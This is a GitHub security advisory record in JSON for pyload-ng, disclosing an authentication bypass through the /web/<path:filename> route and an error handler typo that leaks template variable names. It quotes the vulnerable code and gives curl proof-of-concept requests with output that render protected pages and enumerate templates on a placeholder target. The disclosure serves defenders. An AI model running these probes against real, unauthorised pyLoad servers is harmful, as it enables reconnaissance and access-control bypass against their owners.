{"id":"GHSA-j92p-c242-7hfx","summary":"pyLoad: Unauthenticated access to /web/\u003cpath:filename\u003e bypasses authentication on sensitive templates and leaks internal error details via exception attribute typo","details":"### Summary\n\nThe `/web/\u003cpath:filename\u003e` route in `src/pyload/webui/app/blueprints/app_blueprint.py` renders Jinja2 templates without any authentication requirement. Every equivalent direct route (`/logs`, `/settings`, `/queue`, `/dashboard`, etc.) is protected by `@login_required`, but the underlying templates for all of these pages are accessible unauthenticated via this endpoint. Combined with an exception attribute typo in `src/pyload/webui/app/handlers.py` (`exc.desc` instead of `exc.description`), internal Jinja2 variable names are leaked in HTTP 500 response bodies to unauthenticated callers. An attacker can also enumerate all valid template names by observing 200 vs 500 response differentiation.\n\n### Details\n\n**Bug 1 — Missing authentication on `/web/\u003cpath:filename\u003e`**\n\nFile: `src/pyload/webui/app/blueprints/app_blueprint.py`, lines 32–36\n\n```python\n@bp.route(\"/web/\u003cpath:filename\u003e\", endpoint=\"web\")\ndef render(filename):                          # ← no @login_required\n    mimetype = mimetypes.guess_type(filename)[0] or \"text/html\"\n    data = render_template(filename)\n    return flask.Response(data, mimetype=mimetype)\n```\n\nEvery other sensitive route in the same file is protected:\n\n```python\n@bp.route(\"/logs\", ...)\n@login_required(\"LIST\")       # protected\n\n@bp.route(\"/settings\", ...)\n@login_required(\"SETTINGS\")  # protected\n\n@bp.route(\"/files\", ...)\n@login_required(\"DOWNLOAD\")  # protected\n```\n\nThe `/web/\u003cpath:filename\u003e` route has no such decorator, allowing any unauthenticated HTTP client to render arbitrary templates by supplying their filename in the URL path.\n\n**Bug 2 — Exception attribute typo causes internal details in error responses**\n\nFile: `src/pyload/webui/app/handlers.py`, lines 12–20\n\n```python\ndef handle_exception_error(exc):\n    try:\n        code = exc.code\n        desc = exc.desc          # BUG: attribute does not exist on standard exceptions\n    except AttributeError:       # always raised — falls here for every exception\n        code = 500\n        desc = exc               # raw exception object assigned to desc\n    message = f\"Error {code}: {desc}\"   # str(exc) embedded in response body\n    return render_template(\"error.html\", messages=[message]), code\n```\n\n`exc.desc` does not exist on standard Python or Jinja2 exceptions. The `AttributeError` branch is always taken for template rendering failures. `desc` is set to the raw exception object, and `str(exc)` is embedded in the HTML response body returned to the unauthenticated caller. For a `UndefinedError` this produces `'conf' is undefined`. For `TemplateNotFound` it produces the template filename.\n\n### PoC\n\nTested against pyload-ng develop branch (`0.5.0b3.dev`), default install, no authentication cookies or credentials used in any request.\n\n**Test 1 — Unauthenticated page render confirmed (HTTP 200)**\n```bash\ncurl -si http://TARGET:8000/web/logs.html | grep \"HTTP\\|title\"\n\n```\n\nTest 2 — System info page with sensitive field labels rendered unauthenticated\n```curl -s http://TARGET:8000/web/info.html | grep \"Python Version\\|Installation Folder\\|Config Folder\\|OS Platform\"\nhtml\n\n\u003cdt\u003e\u003cb\u003ePython Version:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eOS Platform:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eInstallation Folder:\u003c/b\u003e\u003c/dt\u003e\n\u003cdt\u003e\u003cb\u003eConfig Folder:\u003c/b\u003e\u003c/dt\u003e```\n\nTest 3 — Internal Jinja2 variable name leaked in HTTP 500 body (unauthenticated)\n```curl -si http://TARGET:8000/web/settings.html | grep \"HTTP\\|Error\"\nHTTP/1.1 500 INTERNAL SERVER ERROR\n\u003cp\u003e\u003cb\u003eError 500: 'conf' is undefined\u003c/b\u003e\u003c/p\u003e```\nTest 4 — Template enumeration via response code differentiation\n```curl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/logs.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/info.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/dashboard.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/settings.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/queue.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/collector.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/filemanager.html\ncurl -o /dev/null -sw \"%{http_code}\\n\" http://TARGET:8000/web/nonexistent_xyz.html\n200  ← logs.html        (exists, renders without auth)\n200  ← info.html        (exists, renders without auth)\n200  ← dashboard.html   (exists, renders without auth)\n500  ← settings.html    (exists, missing auth context — leaks 'conf' is undefined)\n500  ← queue.html       (exists, missing auth context)\n500  ← collector.html   (exists, missing auth context)\n500  ← filemanager.html (exists, missing auth context)\n500  ← nonexistent_xyz  (does not exist — same 500, no differentiation on miss)```\n\n###Impact\nAn unauthenticated remote attacker can:\n\nRender application page templates without any credentials, bypassing the access control model enforced on all direct routes\nAccess the system information page (info.html) exposing field structure for Python version, OS platform, pyLoad version, installation folder, config folder, and WebUI port — values are populated via JS but field labels confirm application structure\nAccess the full log viewer UI (logs.html) and download dashboard (dashboard.html) without authentication\nExtract internal Jinja2 template variable names from HTTP 500 response bodies ('conf' is undefined, etc.)\nEnumerate all valid template filenames by observing 200 vs 500 response codes\n\nThe access control inconsistency is the core issue: the authentication model enforced on direct routes is completely bypassed via the /web/\u003cpath:filename\u003e endpoint. Any future template that renders sensitive data server-side would be immediately exposed to unauthenticated access through this route.","aliases":["CVE-2026-75597"],"modified":"2026-10-09T16:45:03.832525380Z","published":"2026-10-09T16:40:30Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-09T16:40:30Z","nvd_published_at":null,"cwe_ids":["CWE-209","CWE-306"]},"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-j92p-c242-7hfx"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/e80c940cd604e60d93e3164429d4fc4aac54468d"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0b3.dev101"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev100","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96","0.5.0b3.dev97","0.5.0b3.dev98","0.5.0b3.dev99"],"database_specific":{"last_known_affected_version_range":"\u003c= 0.5.0b3.dev100","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-j92p-c242-7hfx/GHSA-j92p-c242-7hfx.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"}]}